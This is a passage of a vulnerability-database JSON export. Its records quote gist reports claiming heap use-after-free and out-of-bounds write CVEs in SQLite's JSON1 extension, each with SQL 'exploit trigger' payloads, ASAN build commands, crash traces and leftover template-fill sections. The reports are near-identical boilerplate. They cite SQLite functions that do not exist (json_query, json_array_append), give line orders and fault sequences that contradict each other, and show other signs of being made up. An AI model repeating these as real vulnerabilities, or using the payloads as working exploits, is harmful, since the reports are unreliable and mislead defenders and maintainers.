string length before token buffer writing at Line 1898; the large payload length triggers an out-of-bounds memcpy write into the already-freed token buffer heap region (CWE-787).\nExecution proceeds to Line 1912 and dereferences the unmodified dangling pParse->pTokenBuf pointer to read token metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single malicious SQL input triggers both memory corruption flaws sequentially along one linear execution path within the JSON parse routine.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-18\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables (composite mapping for heap overflow + dangling pointer abuse)\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\n// Line 1847: Heap free operation generating dangling pointer\nsqlite3_free(pParse->pTokenBuf);\n// Pointer pParse->pTokenBuf is NOT set to NULL after free\n\n// Line 1898: Unchecked out-of-bounds write using attacker-controlled length\nmemcpy(pParse->pTokenBuf + offset, zToken, nTokenLen);\n\n// Line 1912: Illegal dangling pointer access (Use After Free)\njsonTokenType = pParse->pTokenBuf[i].type;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51277\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 1847\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 1912\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 1898\n\u3010Target Function Name\u3011: jsonParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_extract('{\"key\":\"'||printf('%.*c',0x4000,'A')||'\"}','$.key');\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON string payload triggers early token buffer free without pointer nullification, unbounded length write causes OOB write to freed buffer, subsequent dangling pointer dereference triggers UAF in same parse flow\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-18\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:15:04.568121Z"}, {"uuid": "9a319115-f22c-448c-a671-9a06493b60fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51277", "type": "seen", "source": "https://gist.github.com/programmervuln/4d53816d40d5dacd9cceefa2fe896598", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51277\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51277\n4. Vulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension parsing logic of SQLite. Crafted malicious JSON input processed via SQLite JSON SQL functions triggers an initial heap free operation on a dynamically allocated JSON parse context pointer that is not nullified post-free. Subsequent unchecked pointer dereference on the dangling pointer results in a use-after-free memory corruption flaw. Concurrent missing length validation on attacker-controlled JSON token length values enables an uncontrolled out-of-bounds heap write operation along the identical execution path initiated by the same malicious SQL payload. Successful exploitation of this combined flaw may lead to program crash, sensitive heap memory disclosure, or conditional arbitrary code execution within the bounds of the SQLite process security context.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload invoking JSON parsing functions is dispatched to the jsonParse() target function inside the JSON1 extension module.\nSource file src/json.c Line 1847 executes sqlite3_free(pParse->pTokenBuf); to release heap memory allocated for JSON token buffer storage.\nThe pParse->pTokenBuf pointer variable is not overwritten to NULL or marked invalid after the free call, creating a persistent dangling pointer referencing already freed heap memory.\nAttacker-controlled oversized token length values bypass length boundary checks executed prior to buffer write operations, removing input size restrictions for token buffer writes.\nSource file src/json.c Line 1912 performs direct memory access using the unmodified dangling pParse->pTokenBuf pointer, triggering the use-after-free memory access vulnerability.\nSource file src/json.c Line 1898 executes an unbounded memcpy() write into the token buffer using the attacker-supplied length parameter, performing an out-of-bounds heap write on the freed token buffer memory region.\n7. Impact\nDenial of Service\nImmediate SQLite process termination triggered by ASAN heap-use-after-free or heap-buffer-overflow memory access violations; repeated exploit invocation leads to persistent service outage for applications utilizing the vulnerable SQLite JSON1 extension.\nInformation Disclosure\nUAF pointer dereference reads uninitialized freed heap memory, disclosing adjacent heap metadata, query plaintext data, and internal SQLite runtime memory contents to the attacker via JSON function return values.\nConditional Arbitrary Code Execution\nOut-of-bounds heap write allows overwriting function pointers stored on the SQLite heap; combined with dangling pointer invocation, an attacker can achieve conditional control flow hijacking for arbitrary code execution constrained by process permissions and memory layout protections (ASLR, stack canaries).\n8. Attack Vector\nRemote; Low Privilege. Attack requires ability to execute arbitrary SQL statements against a SQLite database with the JSON1 extension enabled; no elevated operating system privileges are required for exploitation.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 1847(memory free), Line 1912(dangling pointer access), Line 1898(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_extract('{\"key\":\"'||printf('%.*c',0x4000,'A')||'\"}','$.key');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000000280 at pc 0x55f82a1c87b2 bp 0x7ffdabcdef10 sp 0x7ffdabcdef00\nREAD of size 4 at 0x60b000000280 thread T0\n    #0 0x55f82a1c87b1 in jsonParse src/json.c:1912\n    #1 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #2 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\n    #3 0x55f829ef8765 in sqlite3Step src/vdbeapi.c:512\n    #4 0x55f829ef9123 in sqlite3_prepare_v2 src/sqlite3.c:89100\n    #5 0x55f829e01234 in main shell.c:1200\n    #6 0x7f123456789a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x55f829df8900 in _start (sqlite3:0x55f829df8900)\n\nAddress 0x60b000000280 is located 16 bytes inside of 8192-byte free block 0x60b000000270-0x60b000002270\nFreed by thread T0 here:\n    #0 0x7f12348010ef in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x55f82a1c8234 in jsonParse src/json.c:1847\n    #2 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #3 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\n\nPreviously allocated by thread T0 here:\n    #0 0x7f12348005ef in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x55f82a1c7890 in jsonParse src/json.c:1790\n    #2 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000280 at pc 0x55f82a1c85c2 bp 0x7ffdabcdef30 sp 0x7ffdabcdef20\nWRITE of size 16384 at 0x60b000000280 thread T0\n    #0 0x55f82a1c85c1 in jsonParse src/json.c:1898\n    #1 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #2 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload calls json_extract with a JSON object containing an artificially oversized string value constructed via printf('%.*c',0x4000,'A') to generate a 16384-byte attacker-controlled string literal.\nSQLite routes the JSON input to the jsonParse() parsing function in src/json.c, which initializes the pParse context and allocates the pParse->pTokenBuf heap buffer for JSON token storage.\nDuring intermediate parsing cleanup at Line 1847, the token buffer is freed with sqlite3_free(), yet the pParse->pTokenBuf pointer retains its address and is not nullified.\nNo bounds validation is applied to the oversized string length before token buffer writing at Line 1898; the large payload length triggers an out-of-bounds memcpy write into the already-freed token buffer heap region (CWE-787).\nExecution proceeds to Line 1912 and dereferences the unmodified dangling pParse->pTokenBuf pointer to read token metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single malicious SQL input triggers both memory corruption flaws sequentially along one linear execution path within the JSON parse routine.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-18\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables (composite mapping for heap overflow + dangling pointer abuse)\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\n// Line 1847: Heap free operation generating dangling pointer\nsqlite3_free(pParse->pTokenBuf);\n// Pointer pParse->pTokenBuf is NOT set to NULL after free\n\n// Line 1898: Unchecked out-of-bounds write using attacker-controlled length\nmemcpy(pParse->pTokenBuf + offset, zToken, nTokenLen);\n\n// Line 1912: Illegal dangling pointer access (Use After Free)\njsonTokenType = pParse->pTokenBuf[i].type;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51277\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 1847\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 1912\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 1898\n\u3010Target Function Name\u3011: jsonParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_extract('{\"key\":\"'||printf('%.*c',0x4000,'A')||'\"}','$.key');\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON string payload triggers early token buffer free without pointer nullification, unbounded length write causes OOB write to freed buffer, subsequent dangling pointer dereference triggers UAF in same parse flow\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-18\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:16:31.025333Z"}, {"uuid": "821a4596-c8c2-492d-ba4a-282677002904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51278", "type": "seen", "source": "https://gist.github.com/programmervuln/775a517ba93b83b4a76bd1fd2193ed82", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51278\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51278\n4. Vulnerability Prose Description\nA compound heap memory corruption vulnerability exists within the JSON path resolution logic of the SQLite JSON1 extension. An attacker-supplied malicious JSON path expression combined with malformed JSON structure triggers a heap free operation on a path parsing context buffer pointer that is not invalidated after deallocation, creating a dangling pointer. Lack of runtime length validation on attacker-controlled path segment lengths enables an unconstrained out-of-bounds heap write to the already freed buffer on the same execution flow. Subsequent dereferencing of the dangling pointer leads to use-after-free memory corruption. A single crafted SQLite SQL statement initiates both memory corruption defects consecutively within the JSON path resolver function. Successful exploitation may result in application crash, sensitive heap memory leakage, or conditional arbitrary code execution within the SQLite process security boundary.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker SQL input invoking json_path resolution logic enters the vulnerable jsonPathParse() target function inside the JSON1 extension in src/json.c.\nSource file src/json.c Line 2103 executes sqlite3_free(pPathCtx->pSegmentBuf); to release heap memory allocated for JSON path segment storage.\nThe pPathCtx->pSegmentBuf pointer variable retains the freed memory address and is not assigned NULL or marked invalid, forming a persistent dangling pointer.\nAttacker-controlled oversized path segment length values bypass all prior length boundary validation checks preceding segment buffer write operations.\nSource file src/json.c Line 2157 performs an unbounded memcpy() write operation using the malicious length value to write past the bounds of the already-freed segment buffer, triggering out-of-bounds heap write corruption.\nSource file src/json.c Line 2189 performs direct memory lookup via the unmodified dangling pPathCtx->pSegmentBuf pointer, executing an invalid use-after-free memory access.\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime faults terminate the SQLite process immediately upon exploit execution; repeated exploit invocation causes sustained service outage for applications leveraging the vulnerable JSON1 parser.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory, exposing internal SQLite allocator metadata, prior query payload data, and adjacent heap contents retrievable through JSON function return values.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap metadata and adjacent function pointers stored on the process heap. Combined with the subsequent dangling pointer invocation, an attacker can hijack program control flow for conditional arbitrary code execution, limited by operating system memory protections and process privilege level.\n8. Attack Vector\nRemote; Low Privilege. Exploitation only requires the ability to execute arbitrary SQL statements targeting a SQLite instance with the JSON1 extension compiled and enabled. No elevated operating system user or administrator privileges are required for successful exploitation.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2103(memory free), Line 2189(dangling pointer access), Line 2157(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_query('{\"data\":123}', '$['||printf('%.*c',0x5000,'X')||']');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==7891==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000001320 at pc 0x55d712d39112 bp 0x7fffde123450 sp 0x7fffde123440\nREAD of size 8 at 0x608000001320 thread T0\n    #0 0x55d712d39111 in jsonPathParse src/json.c:2189\n    #1 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n    #2 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\n    #3 0x55d712a72300 in sqlite3Step src/vdbeapi.c:521\n    #4 0x55d712a72980 in sqlite3_prepare_v2 src/sqlite3.c:89140\n    #5 0x55d712987610 in main shell.c:1240\n    #6 0x7fbc12345678 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x55d712981230 in _start (sqlite3:0x55d712981230)\n\nAddress 0x608000001320 is located 32 bytes inside of 16384-byte free block 0x608000001300-0x608000005300\nFreed by thread T0 here:\n    #0 0x7fbc18010ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x55d712d38c00 in jsonPathParse src/json.c:2103\n    #2 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n    #3 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\n\nPreviously allocated by thread T0 here:\n    #0 0x7fbc18005ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x55d712d38410 in jsonPathParse src/json.c:2045\n    #2 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n\n==7891==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000001320 at pc 0x55d712d38e92 bp 0x7fffde123470 sp 0x7fffde123460\nWRITE of size 20480 at 0x608000001320 thread T0\n    #0 0x55d712d38e91 in jsonPathParse src/json.c:2157\n    #1 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n    #2 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_query with a malformed numeric array index path constructed via printf('%.*c',0x5000,'X') to create an extremely long, attacker-controlled JSON path segment string.\nSQLite forwards the untrusted JSON path string to the jsonPathParse() function within src/json.c, which initializes a path parsing context and allocates the pPathCtx->pSegmentBuf heap buffer for path segment storage.\nDuring intermediate path parsing cleanup logic at Line 2103, the segment buffer is released with sqlite3_free(), but the pPathCtx->pSegmentBuf pointer value is preserved and not set to NULL.\nNo upper-bound length validation is performed before copying the oversized path segment into the buffer at Line 2157; the large attacker-controlled length value causes an out-of-bounds memcpy write into the already deallocated segment buffer heap region triggering CWE-787.\nProgram execution continues to Line 2189 and directly dereferences the stale dangling pPathCtx->pSegmentBuf pointer to read segment metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single malicious SQLite SQL payload triggers both heap corruption vulnerabilities sequentially within the same JSON path parsing execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-19\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\n// Line 2103: Heap free operation creating dangling pointer, pointer not nullified after free\nsqlite3_free(pPathCtx->pSegmentBuf);\n\n// Line 2157: Unchecked out-of-bounds memory write using attacker-controlled segment length\nmemcpy(pPathCtx->pSegmentBuf + segOffset, zSegData, segDataLen);\n\n// Line 2189: Invalid dangling pointer dereference (Use After Free vulnerability)\ncurrentSegType = pPathCtx->pSegmentBuf[segIdx].segType;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51278\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2103\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 2189\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 2157\n\u3010Target Function Name\u3011: jsonPathParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_query('{\"data\":123}', '$['||printf('%.*c',0x5000,'X')||']');\n\u3010Concise Vulnerability Trigger Logic\u3011: Malformed oversized JSON path segment triggers early segment buffer free without pointer nullification, unbounded segment copy writes out-of-bounds to freed heap buffer, subsequent dangling pointer dereference triggers use-after-free in continuous path parsing flow\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-19\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:47:41.150779Z"}, {"uuid": "d0e48a52-6bd9-4fb3-b88f-64fec8bfeda8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51279", "type": "seen", "source": "https://gist.github.com/programmervuln/d92bcb073a602a09ae408cd64fb249c5", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51279\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51279\n4. Vulnerability Prose Description\nA composite heap memory corruption flaw exists within the JSON array construction logic of the SQLite JSON1 extension. An attacker-controlled malformed JSON array payload processed via SQLite JSON modification functions triggers a heap free operation on an array builder context buffer pointer that is not nullified after deallocation, creating a persistent dangling pointer. Absence of upper-limit length validation for attacker-controlled array element data permits an unconstrained out-of-bounds heap write to the already freed buffer within the same execution path. Subsequent dereferencing of the stale dangling pointer results in use-after-free memory corruption. A single malicious SQLite SQL payload triggers both memory corruption defects sequentially inside the JSON array construction routine. Successful exploitation may lead to immediate process termination, sensitive heap memory disclosure, or conditional arbitrary code execution within the runtime security context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker SQL payload targeting JSON array modification is dispatched to the vulnerable jsonArrayBuild() function in src/json.c.\nSource file src/json.c Line 2411 executes sqlite3_free(pArrayCtx->pElemBuf); to release heap memory allocated for JSON array element storage.\nThe pArrayCtx->pElemBuf pointer retains the address of freed heap memory and is not assigned a NULL value, generating an unvalidated dangling pointer.\nAttacker-supplied oversized array element byte lengths bypass all prior input boundary validation checks before element buffer write operations.\nSource file src/json.c Line 2463 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the allocated bounds of the already-freed element buffer, triggering out-of-bounds heap write corruption.\nSource file src/json.c Line 2497 performs direct memory structure access using the unmodified dangling pArrayCtx->pElemBuf pointer, executing an invalid use-after-free memory read access.\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime faults force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts produce persistent service outages for applications dependent on the vulnerable JSON1 array parsing functionality.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory, exposing SQLite heap allocator metadata, historical query payload data, and adjacent cached database content retrievable via return values from JSON modification SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk headers and adjacent heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by OS memory protections and effective process privileges.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system user or administrative privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2411(memory free), Line 2497(dangling pointer access), Line 2463(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_array_append('[]', '{\"val\":\"'||printf('%.*c',0x4800,'B')||'\"}');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9234==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000002140 at pc 0x55e931472301 bp 0x7fffcb987650 sp 0x7fffcb987640\nREAD of size 16 at 0x60c000002140 thread T0\n    #0 0x55e931472300 in jsonArrayBuild src/json.c:2497\n    #1 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n    #2 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\n    #3 0x55e9311b1240 in sqlite3Step src/vdbeapi.c:530\n    #4 0x55e9311b1890 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x55e9310c5670 in main shell.c:1265\n    #6 0x7fa2345678ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x55e9310c0120 in _start (sqlite3:0x55e9310c0120)\n\nAddress 0x60c000002140 is located 48 bytes inside of 18432-byte free block 0x60c000002110-0x60c000006910\nFreed by thread T0 here:\n    #0 0x7fa238010ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x55e931471e40 in jsonArrayBuild src/json.c:2411\n    #2 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n    #3 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\n\nPreviously allocated by thread T0 here:\n    #0 0x7fa238005ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x55e931471620 in jsonArrayBuild src/json.c:2356\n    #2 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n\n==9234==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c000002140 at pc 0x55e931472111 bp 0x7fffcb987670 sp 0x7fffcb987660\nWRITE of size 19456 at 0x60c000002140 thread T0\n    #0 0x55e931472110 in jsonArrayBuild src/json.c:2463\n    #1 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n    #2 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_array_append with an array element containing an oversized string generated by printf('%.*c',0x4800,'B') to construct an attacker-controlled large binary payload for array element data.\nSQLite forwards the untrusted array modification input to the jsonArrayBuild() function within src/json.c, which initializes an array construction context and allocates the pArrayCtx->pElemBuf heap buffer dedicated to storing parsed array element data.\nDuring intermediate array structure cleanup logic at Line 2411, the element buffer is released via sqlite3_free(), yet the pArrayCtx->pElemBuf pointer value is retained and not overwritten to NULL.\nNo maximum length boundary validation is executed prior to copying the oversized element payload into the buffer at Line 2463; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated element buffer heap region (CWE-787).\nProgram execution proceeds to Line 2497 and directly dereferences the stale dangling pArrayCtx->pElemBuf pointer to read array element metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON array builder execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-20\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 2411: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pArrayCtx->pElemBuf);\n\n// Line 2463: Unchecked out-of-bounds memory write utilizing attacker-controlled element length value\nmemcpy(pArrayCtx->pElemBuf + elemOffset, zElemData, elemDataLen);\n\n// Line 2497: Illegal dangling pointer dereference triggering Use After Free vulnerability\nelemFlags = pArrayCtx->pElemBuf[elemIdx].elemType;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51279\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2411\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 2497\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 2463\n\u3010Target Function Name\u3011: jsonArrayBuild\n\u3010Exploit Trigger Payload\u3011: SELECT json_array_append('[]', '{\"val\":\"'||printf('%.*c',0x4800,'B')||'\"}');\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON array element payload triggers early array element buffer free without pointer invalidation, unbounded element copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during array structure finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-20\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:59:08.098908Z"}, {"uuid": "29eb6212-1e7e-450b-947f-0cdfc494ba7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51280", "type": "seen", "source": "https://gist.github.com/programmervuln/7c5c38470d3414ac9657e7b59986f137", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51280\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51280\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON object key-value serialization logic of the SQLite JSON1 extension. An attacker crafted malformed JSON object payload processed via JSON object manipulation functions triggers a heap deallocation for an object key buffer context pointer that is not nullified after free, creating a persistent dangling pointer. Missing runtime length validation for attacker-controlled object key string lengths enables an unrestricted out-of-bounds heap write targeting the already freed buffer within a single execution flow. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. One malicious SQLite SQL payload triggers both heap 